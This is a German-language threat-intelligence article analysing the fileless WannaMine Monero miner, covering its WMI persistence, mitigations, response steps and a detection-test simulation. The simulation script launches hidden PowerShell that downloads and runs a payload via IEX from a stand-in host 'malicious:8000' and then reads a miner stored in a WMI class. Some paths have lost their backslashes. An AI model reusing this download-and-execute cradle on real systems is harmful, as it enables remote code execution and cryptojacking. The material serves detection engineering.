SOC Prime Bias: Kritisch

14 Jan 2026 15:14 UTC

WannaMine-Kryptominer-Analyse: Dateilose Ausführung und Persistenz

Author Photo
Ruslan Mikhalov Chief of Threat Research at SOC Prime linkedin icon Folgen
WannaMine-Kryptominer-Analyse: Dateilose Ausführung und Persistenz
shield icon

Detection stack

  • AIDR
  • Alert
  • ETL
  • Query

Zusammenfassung

WannaMine ist ein dateiloser Kryptomining-Wurm, der auf Living-off-the-Land-Tools setzt – hauptsächlich PowerShell und Windows Management Instrumentation (WMI) – um speicherresident zu bleiben und Monero zu minen.

Untersuchung

WannaMine wird entweder durch Phishing-E-Mails mit bösartigen Batch-Dateien verbreitet oder durch Ausnutzung der EternalBlue-SMB-Sicherheitslücke. Für Persistenz registriert es WMI-Ereignisabonnements und speichert codiertes PowerShell in benutzerdefinierten WMI-Klassen.

WannaMine-Minderung

Verhindern Sie die Ausnutzung von EternalBlue durch das Patchen von SMB (MS17-010). Beschränken Sie die PowerShell-Ausführung und -Überwachung, beobachten Sie ungewöhnliche WMI-Klassenerstellungen und Ereignis-Consumer und erzwingen Sie das Prinzip des geringsten Privilegs, um die missbräuchliche Verwendung von Anmeldeinformationen zu begrenzen.

Antwort

Alarmieren Sie bei abnormalem PowerShell/WMI-Verhalten, isolieren Sie betroffene Hosts, entfernen Sie bösartige WMI-Ereignis-Consumer/-Abonnements, rotieren Sie potenziell exponierte Anmeldeinformationen und führen Sie Speicher-Forensik durch, um den im Speicher befindlichen Miner zu bestätigen.

Angriffsfluss

Simulationsausführung

Voraussetzung: Die Telemetrie- und Baseline-Pre-Flight-Überprüfung muss bestanden sein.

Grund: Dieser Abschnitt beschreibt die genaue Ausführung der Vorgehensweise des Gegners (TTP), die entwickelt wurde, um die Erkennungsregel auszulösen. Die Befehle und die Erzählung müssen die identifizierten TTPs direkt widerspiegeln und darauf abzielen, die genaue Telemetrie zu erzeugen, die von der Erkennungslogik erwartet wird.

  • Angriffserzählung & Befehle:
    Ein Angreifer erlangt Remote-Code-Ausführung auf einem Windows-Endpunkt. Um Benutzerinteraktionen zu vermeiden, starten sie PowerShell in einem versteckten Fenster (-W Hidden) ohne Profil (-NoP) und nicht-interaktiv (-NonI). Der Befehl verwendet IEX um eine PowerShell-Nutzlast von einem bösartigen HTTP-Server herunterzuladen (http://malicious:8000/in6.ps1). Das heruntergeladene Skript registriert eine WMI-Klasse namens Office_Updater unter rootdefault die eine Eigenschaft speichert mon die einen Base64-codierten Monero-Miner enthält. Der Angreifer liest dann die Eigenschaft über [WmiClass] und führt sie aus, was effektiv den Kryptominer startet, ohne einen neuen Prozess zu erstellen. Diese Sequenz entspricht den drei Kommandozeilen-Substrings der Erkennungsregel.

  • Regressionstestskript:

    #-------------------------------------------------
    # Simulation der Ausführung eines dateilosen WannaMine-Kryptominers
    #-------------------------------------------------
    $maliciousServer = "http://malicious:8000"
    $payloadPath     = "$maliciousServer/in6.ps1"
    
    # 1. Versteckte, nicht-interaktive PowerShell-Ausführung
    $cmd = "-NoP -NonI -W Hidden " +
           "IEX(New-Object Net.WebClient).DownloadString('$payloadPath'); " +
           "`$mon = ([WmiClass] 'rootdefault:Office_Updater').Properties['mon'].Value"
    
    # Befehl ausführen (dies ist, was der Angreifer ausführen würde)
    Start-Process -FilePath "powershell.exe" -ArgumentList $cmd -WindowStyle Hidden -NoNewWindow
    
    # Hinweis: Das Remote-Skript (in6.ps1) wird angenommen, dass es die WMI-Klasse erstellt
    # mit einer "mon"-Eigenschaft, die den Mining-Code enthält.
  • Bereinigungsbefehle:

    # Entfernen der bösartigen WMI-Klasse
    Get-WmiObject -Namespace "rootdefault" -Class "Office_Updater" | Remove-WmiObject -ErrorAction SilentlyContinue
    
    # Beenden von verbleibenden PowerShell-Miner-Prozessen (falls welche gestartet wurden)
    Get-Process -Name "powershell" -ErrorAction SilentlyContinue |
        Where-Object {$_.CommandLine -match "mon"} |
        Stop-Process -Force
    
    # Optional: Löschen von während des Tests erstellten PowerShell-Transkript-/Protokolldateien
    Remove-Item -Path "$env:LOCALAPPDATAMicrosoftWindowsPowerShellTrace*" -Force -ErrorAction SilentlyContinue